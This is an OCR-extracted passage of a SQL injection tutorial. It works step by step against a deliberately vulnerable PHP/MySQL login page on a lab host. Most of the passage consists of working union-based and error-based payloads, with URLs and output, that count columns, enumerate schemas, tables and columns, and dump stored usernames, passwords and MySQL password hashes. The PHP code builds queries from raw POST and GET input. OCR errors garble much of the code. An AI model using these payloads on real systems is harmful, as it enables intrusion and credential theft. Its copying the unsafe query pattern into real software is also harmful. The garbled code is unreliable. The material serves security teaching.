min(0);-- -' AND password='"";

The red is our input given as username, the green is the commented part of the hard coded query in
PHP, and black is the not commented part of the hard coded query in PHP.

GO‘ @ http://192.168.168.111:8888/mysql/sql/sql.html £+ ¢ | & mylogin

File Edit View Favorites Tools Help

User Name: |‘ OR 1=1 GROUP BY CONCAT_WS5("™ (SELECT password FROM tbI1 LIMIT 0,1).FLOOR(rand{0)*2)) having min(0).—- -

Password: |

send

We get the following error message:

= O

GQ :>‘|| (= http://192.168.168.111:8888/mys=ql/sql1/5ql.php P~ 2 192.168.168.111 ok

Warning: mysqli_query(}: (23000/1062): Duplicate entry 'pass~1' for key 'group_key' in C:\xampp'htdocsimysqlisqll\sql.php on line 11
ERROR during query execution: Duplicate entry 'pass~1' for key 'group key'l

As one can see we were able to query an arbitrary data through the error message.

One might ask, how do we know the names of the columns, and the name of the table. Again the
answer is that, later we will solve this problem, now just leave it in this way.



Query metadata through SQL injection

We have already seen many SQL injection technique. Unfortunately many of the requires to know
column names, table names, or some other meta data information as you have seen it. Also the meta
information is good, to find other databases, or SQL version, and many other useful information.



Get the number of columns with UNION operator

The UNION operator in SQL is capable to combine the result-set of two or more SELECT statements.

But it has some pre requisites. The first is each SELECT statement within the UNION must have the
same number of columns. The second, the columns at the same position must have similar data types.

Because of this prerequisite we can use the UNION operator, to find the number of columns. We can
use a

' UNION SELECT null;#

Statement, to find the number of columns. We select the value NULL, because it is compatible (similar)
with every data type, so if we get an error it can be only because the number of the colums is different
in the two queris, not because the type of them is different.

To try it use the same example what we used in the first example. The sql.html looks like as:

<title>mylogin</title>
<body>
<form action="sqgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php, which validates the user credentials.

LE
File Edit Search View Encoding Language Settings Macre Run Pluging Window 7
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1 ktitleb@x&gﬁi@<ﬁtitle>

2 <body>

3 <form action="ggl.php" method="POST">

i User Name: <input type="text" id="psername" name="gpsernamns"/><br/>

5 Password: <input type="password" id="password" name="password"/><br />
6 <input type="submit" wvalue="zend">

</ form>

B </ body>

The sql.php has the following source code.



<?php
Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
//Sdbsrvname = "192.168.168.111";
Sdbsrvname = "127.0.0.1";
$con = mysqli connect ($srvname, Susername, Spassword,
1if (!Scon) {
echo ('Connection ERROR');
die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='"
$ _POST['username'] . "' AND password='"
$_POST['password'] . "';";
$stms = mysgli query(Scon, Squery);

if ($stms === false) {
echo ('"ERROR during query execution: ');
die(print r (mysgli error ($con)));

}
$row = mysqli fetch array($stms, SQLSRV FETCH ASSOC) ;
if (Srow) {
die ('Logged in'");
}
else{
die ('Wrong username or password');

}
7>

Sdbname) ;
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1 [HE<«?php

2 Sdbname = "a";

3 fusername = "root":

- Zpassword = "";

S Szrvname = "192.168.168.111";

& //Sgryname = "127.0.0.1";

7 fcon = mysqgli_connect ($srvname, f$username, $password, Sdbname);
g8 [HEif ('Scon){

B echo ("Connection ERBRCR') ;

10 dieiprint_r(mysqli_errnriSCDnJ]];

12 Squery = "SELECT * FROM tbll WHERE username='"

13 § POST['username']l "' AND password='"

14 & POST['password'] —U5g

15 £stms = mysgli_gquery ($con, Squery):

168 [Hif (2=ztms === fal=se){

17 echo ("EERCE during gquery exXecution: '});

18 die (print r(mysgli error(Scon))):

158 B B B
20 Srow = mysqgli fetch array($stms, SQLSEV FETCH ASSCC);
21 [HEif (Srow){
22 die('Logged in'):
23 ER
24 [Helsed
25 die('Wrong ysername or password');
26 E
27 =

First try the

' UNION SELECT null;#

input as username. The full query in this case will be:

SELECT * FROM tbll WHERE username="'"

password="'";

Now two things can happen, if the first SELECT

UNION SELECT null;#' AND

selects exactly one column, then the two selects of the

union operator selects the same number of columns, so it will work. If the first query selects not exactly
one column, then the two selects of the union operator selects different number of column, so we will

get an error message.



eo (2 http://192.168.168.111:2388/mys=ql/sql1/5g).html

User Name: |‘ UMNION SELECT null:#

Paszword: |

After clicking the send button we will got the following error message:

(16

ERROR during query execution: The used SELECT statements have a different number of columnsl

(2 http://192.168.168.111:8888/mysql/sql1/sql.php

P~

It means, the first SELECT selects more than one column. So try two, by typing the following as

username:

' UNION SELECT null,null;#

input as username. The full query in this case will be:

SELECT * FROM tbll WHERE username="'"

password="";

ee @ http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: |‘ UNION SELECT null,null:#

Password: |

send

UNION SELECT null,null;#'" AND

We get the same error message, what means, the first SELECT selects more than two columns.

(6

ERR.OR during query execution: The used SELECT statements have a different number of columns1

So try three, four... To speed up the process I try five columns, by typing the following as username:

2 http://192.168,162.111:8888/mysql/sql1/sgl.php

pP~-C

' UNION SELECT null,null,null,null,null;#

input as username. The full query in this case will be:

=
&

=
e



SELECT * FROM tbll WHERE username='' UNION SELECT
null,null,null,null,null;#' AND password='";

Then click to the send button

eo @ http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: |‘ UMNION SELECT null,null, null, null, null#

Passvvnrd:l

send

Now we do not get an error message, what means, the first select has exactly five columns.

e@ @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in




Get the number of colums with ORDER BY

To try it use the same example what we used in the first example. The sql.html looks like as:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php, which validates the user credentials.

o
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1 ktitle}mx;gg;a<ftitle>
2 <body>
3 <form action="ggl.php" method="POST">
i User Name: <input type="text" id="psername" name="gpsernamns"/><br/>
2 Password: <input tyvpe="password" id="password" name="password"/><br/>
6 <input type="submit" wvalue="zend">
</ form>
B </ body>

The sql.php has the following source code.

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

//Sdbsrvname = "192.168.168.111";

Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($srvname, Susername, Spassword, Sdbname);

if (!S$con) {
echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='"
$ _POST['username'] . "' AND password='"

$_POST['password'] . "';";



$stms = mysgli query(Scon, S$query);
if ($stms === false) {
echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));
}
$row = mysqgli fetch array($stms, SQLSRV FETCH ASSOC) ;
if (Srow) {
die('Logged in'");
}
else({
die ('Wrong username or password');

}

7>
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1 [E<«=?php

2 Sdbname = "a";

= Sfusernams = "root":

- Zpassword = "";

= Ssrvname = "192.168.168.111";

& ff3sryname = "127.0.0.1";

7 Scon = mysqgli connect ($srvname, fSusername, Spassword, S$dbname);
8 [Hif ('Zcon){

Ef echo ("Connection ERRCOR') ;

10 dieiprint_r(mysqli_errnriECDnJ]];

12 Zquery = "SELECT * FROM tbll WHERE username="'"

13 & POST['usgrname']l . "' AND password='"

14 S_FDST[';asswzrd'] Lo

15 Sstms = mysgli query($con, Squery):

16 [Eif ($stms === false){

17 echo ("EERCE during gquery execution: '):;

18 die (print r(mysqgli error(Scon))):

19 EY B -
20 Srow = mysqgli fetch array($stms, SQLSEV FETCH ASSCC);
21 [Eif (Srow) {
22 die('Logged in'):
23 EY
24 [Helse{
25 die('Wrong yssername or password');
26 B
27 - 2?5




Now we want to know the number of columns (we do not want to log in, only get the number of
columns). To get it we must find an SQL keyword within the SELECT statement, where we can enter a
column number.

For this purpose one can use the ORDER BY keyword. We usually give column name after the
ORDER BY, but also one can enter there a column number. For example we want to ORDER BY the
1th column, you can write ORDER BY 1.

To find the number of columns one must do the following:

First use an apostrophe to break out from the string, and write SQL instruction.

Then use the ORDER BY keyword, and after it try to guess the maximum number of columns in the
query. If the given number of column does not exists, then we get an error message. If the given
number of column exists, then we will not get error message. (It is again similar to the error based SQL
injection).

So the input one should try is:

' ORDER BY 1;#

it is a first test, what must work, because every table must have at least one column:

The full select will be the following:

SELECT * FROM tbll WHERE username='"' ORDER BY 1;#

Let us type it as username, and click to the send button:

eo @ hitp://192.168.168.111:8888/mysql/sql1/sgl.htm|

Uszer Name: |‘ ORDER BY 1:#
Password: |

As result we get a wrong username or password message, but there is no SQL error so the query has
one column, what is not a supresise.

e(_: | & hittp://192.168.168.111:8888/mysql/sql1/sql.php

Wrong username or password



Then try another number, for example 5:

' ORDER BY 5;#

Type it as username, and click to the send button:

ee (2 http://192.168.168.111:3888/mysql/sql1/sql.html

User Name: |‘ ORDER BY &5:#

Paszword: I

send

We get the same Wrong username or password message, what means the query has at least 5 columns:

e@ (2 http://192.168.168.111:3888/mysql/sq11/5ql.php

Wrong username or password

Then try if we have 10 columns by the following input:

' ORDER BY 10;#

Type it as username, and click to the send button:

ee @ http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: | ORDER BY 10:#

Password: |

send

Now we get an SQL error message from this we know that, the query does not have 10 columns.

e@ (2 http://192.168.168.111:3888/mysql/sq11/5ql.php

EREOR during query execution: Unknown column '10' in 'order clause'l

The number of columns greater or equal with five, and less than 10. Let us halve this range (binary
search like in case of blind SQL). So try the number 7:



' ORDER BY 7;#

Type it as username, and click to the send button:

ee 2 http://192.168.168.111:3888/mysql/sql1/sql.html

User Name: | ORDER BY 7.#

Password: |

We get an SQL error message, from this we know that, the query does not have 7 columns.

e@ (2 http://192.168.168.111:3888/ mysql/sql1/sgl.php

ERFE.OR during query execution: Unknown column '7' in "order clause'l

The number of columns greater or equal with five, and less than 7. Let us halve this range. So try the
number 6:

' ORDER BY 6;#

Type it as username, and click to the send button:

ee @ http://192.168.168.111:8888/mysql/sgl1/sql.htm

User Name: | ORDER BY 6:#

Paszword: |

send

We get an error message it means, we have less than 6 columns.

e@ @ http://192.168.168.111:8888/mysql/sql1/sql.php

ERE.OR during query execution: Unknown column '6' in 'order clause'l




It means, we have exactly 5 columns in the query. This method is faster than the UNION operator
based method, because we can use the binary search.



Get metadata with information schema

A widely used technique to get metadata information is to use the information schema. It is preferred,
because it is an ANSI standard, so every SQL supports it uses exactly the same schema structure,
enough to learn one thing.

The method can be used with every example we have checked. I show it with a union based, with an
error based, and with a blind SQL injection example.



Get metadata with information schema UNION based example

To try it use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
1if (!Scon) {

echo ('Connection ERROR') ;

die(print r (mysgli error ($con)));
}
Squery = "SELECT username, '******x' AS password,description,id

FROM tbll WHERE username='" . $ GET['username'] . "';";

$stms = mysqgli query(Scon, Squery);
if ($stms === false) {

echo ('"ERROR during query execution: ');

echo (Squery) ;

die(print r (mysgli error ($con)));
}
echo '<table border="1" width="100%"><tr><td>username</td>

<td>password</td><td>description</td><td>id</td></tr>"';
while (S$row = mysqgli fetch array($stms, MYSQLI ASSOC)) {
echo '<tr><td>' . S$row['username'] . '</td><td>' . Srow['password']
'</td><td>' . Srow['description'] . '</td><td>' . Srow['id']

'</ed></tr>";
}
echo '</table>';



5

File Edit Search View Encoding Language Settings Macre Run  Plugins Window 7
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[=] =gl php Eil
1 HB<x?php
2 £dbname = "a";
& £dbusername = "root";
- S£dbpassword = "";
5 £dbsrvname = "127.0.0.1";
6 fcon = mysgli connect ($dbsrvname, S$dbusername, $dbpassword, S$dbname):
T [Hif ('Scom) {
B echo ('Connection ERROR');
9 die(prin;_r(mysqli_errnr(Scun]]];
11 Squery = password,description, id
12 $ GET['ussrname' Trat:
13 §stms = mysgli query($con, Squery);:
14 Hif ($stms === false) {
15 echo ("ERROR during guery execution: '}:
16 echo (Squexy) ;
17 die(print_p(mysqli_error(Econ]]];
19 echo '« "100%" < Lre<td>username</Ld>
20 <Ld : I I>description</Ld><fd>id</Ld></Lr>':
21 [Hwhile | mysgli_ fetch array($stms, MYSQLI ASS0C) ) {
22 echo '"<Lr><fd>' . S$row['ypsername'l . '</Ldy<gd>' . $row['password']
23 "</ Rdx<pd>" . Srow['description'] . "</Rdy<pd>' . Srow['id'] . "</SRd></RI>':
24 B
25 echo '</tableX>";
26

To get information we must know the database name, the table name, the column names. Try to get first
the database name.

The database names can be queried from the information _schema.schemata table. The name of the
database is stored in the schema_name column. As we remember in this example the first SELECT
selects four columns so the second SELECT must select four columns as well. It means we query the
schema_name column plus three null to get the same column number. It means the username must be:

' UNION SELECT schema name,null,null,null FROM
information schema.schemata;-- -

the apostrophe breaks out from the string. Then comes our query, and finally we comment the
remaining part of the original query. The whole query will be the following:

SELECT username, '******x!' AS password,description,id FROM tbll WHERE
username="'"' UNION SELECT schema name,null,null,null FROM
information schema.schemata;-- -';



in URL form it looks like as:

http://192.168.168.111:8888/mysgl/unionl/sql.php?username="' UNION
SELECT schema name,null,null,null FROM information schema.schemata;--

After calling this URL

—,

i
I:_ :Ijll (e '\:'%'I i-:_—f,‘ mame="UMNIOM SELECT schema_name, null, null,null FROM information_schema.schemata;-- - J
LN _—

We will get the database names. Now we find only one database name what seems to be a user
database, it is now the database “a”.

GQ '\\|| (2 mame=' UNION SELECT schema_name null,null,null FROM information_schema.schemata;-- -| P~ | & 192.168,168.111

username ||password description 1d

information_schema ||
l2 | | [

|cdc01

|m§,'sql

||performance_5chana

”phpm}'admin

||tcst
||webauth

The next thing to do is to query the tables in this database.

The table names can be queried from the information schema.tables table. And within this table the
table name column show the table names. This table contains every table name from every database.
But we want to know only the tables in the database “a”. The table schema column contains the

database name, where the table is.

The required query will be:

' UNION SELECT table name,null,null,null FROM
information schema.tables WHERE table schema='a';-- -

And if we substitute it to the hard coded query string in the php we will get the following:

SELECT username, '******!' A5 password,description,id FROM tbll WHERE
username="'"' UNION SELECT table name,null,null,null FROM
information schema.tables WHERE table schema='a';-- -

in URL form it looks like as:



http://192.168.168.111:8888/mysgl/unionl/sgl.php?username="' UNION
SELECT table name,null,null,null FROM information schema.tables WHERE
table schema='a';-- -

"

[ :I/:IILI :)\I i;‘-—} "UMICOM SELECT table_name,null, null, null FROM information_schema.tables WHERE table_schema="a"-- -| Do~

b%

We will get the table names in the database “a”.

If_: :)NI i-:_—;} "UMIOM SELECT table_name,null,null null FROM information_schema.tables WHERE table_schema="a"-- - 0O

|usemame ||password ||descxipti|

|bEﬁWEEﬂDg || ”
o1 | I

Now we know the database name, and the table names. The next thing is to find the column names in
the table. This information is stored in the information_schema.columns table. Again this table contains
the name of every column from every database, and every table. Agnain we must filter it. The database
name is stored in the table schema column, and the table name is stored in the table name column.

' UNION SELECT column name,null,null,null FROM
information schema.columns WHERE table schema='a' AND
table name='tbll';-- -

if we substitute it to the hard coded query string in the php we will get the following:

SELECT username, '******x!' AS password,description,id FROM tbll WHERE
username="'"' UNION SELECT column name,null,null,null FROM
information schema.columns WHERE table schema='a' AND

table name='tbll';-- -';

in URL form it looks like as:

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username="' UNION
SELECT column name,null,null,null FROM information schema.columns
WHERE table schema='a' AND table name='tbll';-- -



I:l\ :>‘I 1::} IM SELECT celumn_name,null, null,null FROM information_schema.celumns WHERE table_schema='a' AMD table_name="tbl1"-- - 0

As a result we will see the columns in the tbl1 table in database “a”.

I:L:)ﬁl =2 DN SELECT column_name,null,null null FROM information_schema.columns WHERE table_schema="a' AND table_name="tbl1"-- - £

|usema.me ||passw0rd ||description
lid | |

|usema.me || ||

|password || ”

|encpassword || ||

|descript:ion || ||

Now we have all the necessary information, to query useful data. For example we can query the
usernames and passwords from this table with the following query:

' UNION SELECT username,password,null,null FROM tbll;-- -

if we substitute it to the original query we will get the following query:

SELECT username, '******! A5 password,description,id FROM tbll WHERE
username='"' UNION SELECT username,password,null,null FROM tbll;-- -';

in URL form it is the following:

http://192.168.168.111:8888/mysgl/unionl/sqgl.php?username="' UNION
SELECT username,password,null,null FROM tbll;-- -

e{\' i>xl| 1-——‘;,. http://192.168.168.111:8888/ mysql/union1/sgl.phpTusername=" UNION SELECT username, password, null,null FROM tbi1;-- -

And as result we get the user name, and password information, or anything else we want.



GQ '>"|| (= http://192.168.168.111:8888/mysql/union1/sql.phplusername=" UMIOM SELECT username password, null,null FROM thl1:-- -

|usemame ”password ||de5c:ripti0n
|name ”pass ”
|name2 ”passl ||
[ |aaaa |
B |aaaaa [

We can query any other information as well. For example the user name and password hashes of the
MySQL database users. First if have not done yet create a user by the following command:

CREATE USER 'test'@'localhost' IDENTIFIED BY 'pass';

The user name and password hash can be queried with the following SQL command:

SELECT user,password FROM mysgl.user;

This query selects only two columns so we must add two null values, to get all together four columns

SELECT user,password,null,null FROM mysqgl.user;

the user name should be:

' UNION SELECT user,password,null,null FROM mysqgl.user;-- -

The whole query will look like as:

SELECT username, '******x!' AS password,description,id FROM tbll WHERE
username=""' UNION SELECT user,password,null,null FROM mysqgl.user;--

T .
’

|:\| :>\| iﬁ http://192.168.168.111:8288/mysql/union1/sql.php?username=" UMIOMN SELECT user, password, null, null FROM mysgl.user;-- -

We get the following result:

I:\T_ih)\I 2 hitp://192.168.162.111:8888/mysql/union1/sql.phptusernarme=" UNION SELECT user, password,null,null FROM mysql.user-- -
|u5mlame ||pa55word
|mot H
[pma |
|test H* 196BDEDE2AEAFE4CA44C47D34D78478CTE2ZBDTB7




From this error message we know that, there is a user called root, and it has no password, and there is a
user called test, the password hash of it is I96BDEDE2AE4F84CA44C47D54D78478C7E2BD7B7.



Get metadata with information schema ERROR based example

To try this example use the sql.html as follows:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>

<input type="submit" wvalue="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php, which validates the user credentials.

il
File Edit Search View Encoding Language Settings Macre Run Pluging  Window 7
FEL LY YAE IR IE R =R Rl Pl ol
Eﬂmﬂﬁﬂiﬂl
1 ktitle}mx;gg;g<ftitle>
2 <body>
3 <form action="ggl.php" method="POST">
User Name: <input type="text" id="psername" name="gpsernamns"/><br/>
2 Password: <input tyvpe="password" id="password" name="password"/><br/>
6 <input type="submit" wvalue="zend">
</ form>
B </ body>

The sql.php has the following source code.

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

//Sdbsrvname = "192.168.168.111";

Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($srvname, Susername, Spassword, Sdbname);

if (!S$con) {
echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='"
$ _POST['username'] . "' AND password='"

$_POST['password'] . "';";



Sstms =

if

mysgli query ($Scon,
($stms
echo ('ERROR during query execution:

Squery) ;

false) {
')

die(print r (mysgli error($con)));

}
Srow =
if

mysgli fetch array($Sstms, SQLSRV FETCH ASSOC) ;

($row) {

die ('Logged in');

}

else{

die ('Wrong username or password');

}

7>
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H<2php

Zdbname = "a";

Zusername = "root";

Zpassword = "";

Zsrvname = "192.168.168.111";

f/8sryname = "127.0.0.1";

Scon = mysqgli connect ($srvname, fSusername, Spassword, S$dbname);
Eif ('Zcon){

echo ( "Connection ERRCR

Vi

dieiprint_r(mysqli_errnriECDnJ]];

Zquery = "SELECT * FROM tbll WHERE username="'"
& POST['username'] "t OND password='"
£ POST['password'] . "':":
Sstms = mysgli query($con, Squery):
Eif (%$=stms === false) {
echo ("ERROE during gquery execution "):

dieiprint_r(mysqli_errnriScnnJ]];
Srow = mysqgli fetch array($stms, SQLSEV FETCH ASSCC);
Hif

(Erow) {

To get information we must know the database name, the table name, the column names. Try to get first



the database name.

The database names can be queried from the information_schema.schemata table. The name of the
database is stored in the schema name column. This information can be queried with the following
SQL query:

SELECT schema name FROM information schema.schemata

And we already know, how does the ERROR based query works:

' OR 1=1 GROUP BY CONCAT_WS('~',AAAA,FLOOR(RAND(O)*2)) having
min(0);-- -

Here the AAAA only a placeholder, where we can substitute an arbitrary SQL query, to select the
information we are interested about. If we assemble the two together the following will be the result:

' OR 1=1 GROUP BY CONCAT WS('~', (SELECT schema name FROM
information schema.schemata LIMIT 0,1),FLOOR(RAND(0)*2)) having
min(0);-- -

* The apostrophe at the beginning breaks out from the string, to write SQL instruction.

* The OR 1=1 need, because we need at least three rows, to fire the ERROR.

* The GROUP BY structure fires the ERROR.

* The sub-select (SELECT schema name FROM information_schema.schemata LIMIT 0,1) is
the information we want to know.

* The LIMIT 0,1 needed, because the sub-select must return exactly one value.

If we substitute it to the original query we will get:

SELECT * FROM tbll WHERE username='"' OR 1=1 GROUP BY CONCAT WS ('~",
(SELECT schema name FROM information_schema.schemata LIMIT
0,1),FLOOR(RAND(Q0)*2)) having min(0);-- -

Let us try it by substituting the following value as user name:

' OR 1=1 GROUP BY CONCAT_WS('~',(SELECT Schema_name FROM
information schema.schemata LIMIT 0,1),FLOOR(RAND(0)*2)) having
min(0);-- -

ee| @ http://192.168.168.111:8888/mysql/sql1/sqlLhtml P~ & | @ mylogin
User Name: |‘ OR 1=1 GROUP BY CONCAT_WS({™ (SELECT schema_name FROM information_schema.schemata LIMIT 0.1),FLOOR{RAND(0)*2)) having min(0).-- -
Password: I

We will get the following ERROR message:



er\-jj & hitp://192.168.168.111:8888/mysql/sql1/sql.php P~ | @roziseieein

Warning: mysgli_query(): (23000/1062): Duplicate entry 'information_schema~1" for key 'group_key' in Cr\xampp'htdocs\mysglisqll'sgl.php on line 11
ERROR. during query execution: Duplicate entry 'information_schema~1' for key 'group_key'l

From this we find the first database is the information_schema. Let us try to find the next one. To do it
just change the LIMIT 0,1 to LIMIT 1,1, it queries instead of the first (zeroth) value the second (first)
one. The counting starts from zero in case of LIMIT.

So try the following as user name:

' OR 1=1 GROUP BY CONCAT WS ('~', (SELECT schema name FROM
information schema.schemata LIMIT 1,1),FLOOR(RAND(0)*2)) having

min (0);-- -

e°| & http://192.168.168.111:8888/mysql/sql1/sql.html P~ & | & mylogin
User Name: |‘ OR 1=1 GROUP BY CONCAT_WS(™ (SELECT schema_name FROM information_schema.schemata LIMIT 1.1),FLOOR(RAND(0)*2)) having min(0);-- -

Password: I

We will get the following answer:

P~C| @m

Q:)“l 2 http://192.168.168.111:8888/mysql/sql1/sql.php

Warning: mysqlt_query(): (23000/1062): Duplicate entry 'a~1' for key "group key' in C:\xampp'htdocs'\mysqlisqll'sql.php on line 11
ERROR during query execution: Duplicate entry 'a~1" for key 'group key'l

From here we know, there is database with name “a”.
b

We can continue it until we get results. For me the LIMIT 8,1 when I get no more answers. To show it
use the following string as username:

' OR 1=1 GROUP BY CONCAT WS('~', (SELECT schema name FROM
information schema.schemata LIMIT 8,1),FLOOR(RAND(0)*2)) having

min(0);—-——- -

e°| & http://192.168.168.111:3888/mysql/sql1/sql.html P~ & | @ mylogin
User Name: |‘ OR 1=1 GROUP BY CONCAT_WS("™" (SELECT schema_name FROM information_schema.schemata LIMIT &.1),FLOOR(RAND{0)*2)) having min{0);-- -

Password: I

And as one can see on the error message we did not get any database name:



e(!;_\'_‘. (= hitp://192.168.168.111:8888/mysql/sql1/sql.php P-aC|

Warning: mysqli_query(): (23000/1062): Duplicate entry '1' for key 'group_key' in C:\xampp'\htdocs\mysgl'sqll\sgl.php on line 11
ERROR during query execution: Duplicate entry '1' for key 'group key'l

Now we have all the database names (it was slower than in case of the UNION based, but works). We
found every database name. The next step is to choose the interesting ones, and identify all table names
in that database.

To do it one can use the following query:

SELECT table name FROM information schema.tables WHERE
table schema='a'

And we already know, how does the ERROR based query works:

' OR 1=1 GROUP BRY CONCAT_WS ('"~'",AAAA, FLOOR (RAND (0) *2)) having
min(0);-- -

Here the AAAA only a placeholder, where we can substitute an arbitrary SQL query, to select the
information we are interested about. If we assemble the two together the following will be the result:

' OR 1=1 GROUP BRY CONCAT_WS('~',(SELECT table_name FROM
information schema.tables WHERE table schema='a' LIMIT
0,1),FLOOR(RAND(Q0) *2)) having min(0);-- -

* The apostrophe at the beginning breaks out from the string, to write SQL instruction.

* The OR 1=1 need, because we need at least three rows, to fire the ERROR.

* The GROUP BY structure fires the ERROR.

* The sub-select (SELECT table name FROM information schema.tables WHERE
table schema='a' LIMIT 0,1) queries the information we want to know.

e The LIMIT 0,1 needed, because the sub-select must return exactly one value.

If we substitute it to the original query we will get:

SELECT * FROM tbll WHERE username='"' OR 1=1 GROUP BY CONCAT_WS('~',
(SELECT table name FROM information schema.tables WHERE
table schema='a' LIMIT 0,1),FLOOR(RAND(0)*2)) having min(0);-- -

Now try it in practice by using the following input as user name:

' OR 1=1 GROUP BY CONCAT_WS('~',(SELECT table_name FROM
information schema.tables WHERE table schema='a' LIMIT
0,1),FLOOR(RAND (0)*2)) having min(0);-- -



- O x

a°| (& http://192.168,168,111:8888/mysql/sql1/sgl.html P~ | & mylogin A ok L
User Name: |‘ OR 1=1 GROUP BY CONCAT_WS("™ (SELECT table_name FROM information_schema tables WHERE table_schema="a' LIMIT 0.1) FLOOR{RAND(D)*2)) having min{0);— -
Password:

After clicking to the send button we will get the following error message:

eQ §)| & hitp://192.168.168.111:8888/mysq)/sql1/sql.php LD~ ¢ | 2192168168111

Warning: mysgh_guery(): (23000/1062): Duplicate entry 'browserlog~1' for key "group_key' in C:\zampp'\htdocs\mysglisqll'sql.php on line 11
ERROR dunng query execution: Duplicate entry 'browserlog~1" for key 'group key'l

From this error message we know that, there is a table called browserlog. To find the next table we
must change the LIMIT 0,1 to LIMIT 1,1. So use the following input as user name:

' OR 1=1 GROUP BY CONCAT_WS('~', (SELECT table_name FROM
information schema.tables WHERE table schema='a' LIMIT
1,1),FLOOR(RAND(Q0)*2)) having min(0);-- -

- a
e°| & http://192.168.168.111:8888/mysql/sql1/sgl.html P+ ¢ | @ myogin 1, oA

User Name: |‘ OR 1=1 GROUP BY CONCAT_WS("™",(SELECT table_name FROM information_schema.tables WHERE table_schema="a' LIMIT 1.1),FLOOR({RAND{0)*2)) having min(0);-- -

Password:

After clicking to the send button we will get the following error message:

= http://192.168.168.111:8888/mysql/sql1/sql.php P~a 2192168

IQ_:):I

Warning: mysqli_query(): (23000/1062): Duplicate entry 'tbl1~1" for key 'group_key' in C:\xampp\htdocs'\mysglisgll'sql.php on line 11
ERROR durnng query execution: Duplicate entry 'tbl1~1" for key 'group key'l

From this error message we know that, there is a table called tbl1. To find the next table we must
change the LIMIT 1,1 to LIMIT 2,1. So use the following input as user name:

' OR 1=1 GROUP BY CONCAT_WS('~', (SELECT table_name FROM
information schema.tables WHERE table schema='a' LIMIT
1,1),FLOOR(RAND(Q0)*2)) having min(0);-- -

-a
e°| @ http://192.168.168.111:8888/mysql/sql/sglhtm| P~ 8| & mylogin K

User Name: |‘ OR 1=1 GROUP BY CONCAT_WS("™".(SELECT table_name FROM information_schema.tables WHERE table_schema="a' LIMIT 2.1).FLOOR(RAND(0)*2)) having min{0):-- -
Password:

We get the following error message:



e(_. j$j|| & hitp://192.168.168.111:8888/mysql/sql1/sql.php P-c| @i

Warning: mysqli_querv(): (23000/1062): Duplicate entry '1" for key 'group_key' in C:\xampp\htdocs\mysql\sgll'sql.php on line 11
ERROR. during query execution: Duplicate entry '1' for key "group key'l

From this error message we know that, there is no more table.

The next thing is to choose the interesting tables, and query the column names of them. To do it one
can use the information_schema.columns table. This table contains the name of every column from
every database, and every table. We must filter it. The database name is stored in the table schema
column, and the table name is stored in the table name column.

SELECT column name FROM information schema.columns WHERE
table schema='a' AND table name='tbll' LIMIT 0,1;

And we already know, how does the ERROR based query works:

' OR 1=1 GROUP BY CONCAT_WS('~',AAAA,FLOOR(RAND(O)*2)) having
min(0);-- -

Here the AAAA only a placeholder, where we can substitute an arbitrary SQL query, to select the
information we are interested about. If we assemble the two together the following will be the result:

' OR 1=1 GROUP BY CONCAT WS('~', (SELECT column name FROM
information schema.columns WHERE table schema='a' AND
table name='tbll' LIMIT 0,1),FLOOR(RAND(0)*2)) having min(0);-- -

* The apostrophe at the beginning breaks out from the string, to write SQL instruction.

* The OR 1=1 need, because we need at least three rows, to fire the ERROR.

* The GROUP BY structure fires the ERROR.

* The sub-select (SELECT table name FROM information_schema.tables WHERE
table schema='a' LIMIT 0,1) queries the information we want to know.

e The LIMIT 0,1 needed, because the sub-select must return exactly one value.

If we substitute it to the original query we will get:

SELECT * FROM tbll WHERE username='"' OR 1=1 GROUP BY CONCAT WS ('~",
(SELECT column name FROM information schema.columns WHERE

table schema='a' AND table name='tbll' LIMIT 0,1),FLOOR(RAND(0)*2))
having min(0);-- -

1
=]
*

a°| & http://192.168.168.111:8888/mysql/sql1/sql.html P~ | & mylogin

User Name: |NCAT_WS(""'.(SELECT column_name FROM information_schema.columns WHERE table_schema="a' AND table_name="tbI1' LIMIT 0,1).FLOOR(RAND(0}*2)} having min{0);—- -

55
4
¢

Password:



After clicking to the send button we will get the following error message:

eu\>u| 2 http://192.168.168.111:8888/mysql/sql1/sql.php R~aC| @

Warning: mysqli_query(): (23000/1062): Duplicate entry '1d~1' for key 'group key' in C:\xampp'htdocs\mysqglisqll'sgl.php on line 11
ERROR during query execution: Duplicate entry 'id~1' for kev "group_key'l

From this error message we know that, there is a column called id. To find the next column we must
change the LIMIT 0,1 to LIMIT 1,1 and so on like we did in the previous examples. The last column
name now can be queried by the LIMIT 4,1. So use the following input as user name:

' OR 1=1 GROUP BY CONCAT_WS('~',(SELECT column_name FROM
information schema.columns WHERE table schema='a' AND
table name='tbll' LIMIT 4,1),FLOOR(RAND(0)*2)) having min(0);-- -

- @ x
